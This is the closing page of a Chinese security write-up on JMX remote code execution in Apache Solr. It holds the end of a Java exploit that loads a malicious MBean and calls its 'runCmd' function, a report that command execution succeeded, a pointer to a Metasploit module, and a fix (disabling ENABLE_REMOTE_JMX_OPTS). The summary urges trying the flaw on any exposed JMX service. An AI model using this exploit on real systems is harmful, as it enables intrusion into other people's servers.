Apache Solr 之JMX远程代码漏洞分析
来源:岁月联盟
时间:2020-01-29
);
HashSet hashSet = (HashSet)res;
Iterator iterator = hashSet.iterator();
Object nextObject = iterator.next();
if(nextObject instanceof Exception){
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
}catch (Exception e){
e.printStackTrace();
}
}
Apache solr测试
使用jsonsole连接solr的18983端口,结果如下(如果连接失败,可能需要修改/etc/hosts下,主机名对应的ip地址,将其修改成实际ip地址)
使用上述代码测试攻击,成功实现任意命令执行
Metasploit也提供了jmx远程代码漏洞利用的模块exploit/multi/misc/java_jmx_server,有兴趣的可以自己试试。
修复方案
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务即可。
总结
Jmx远程代码执行漏洞是一个通用型漏洞,不单单存在与apache solr中,只要有对外开放JMX服务的系统,我们都可以使用该漏洞进行尝试,说不定有意外的收获。
上一页 [1] [2] [3] [4]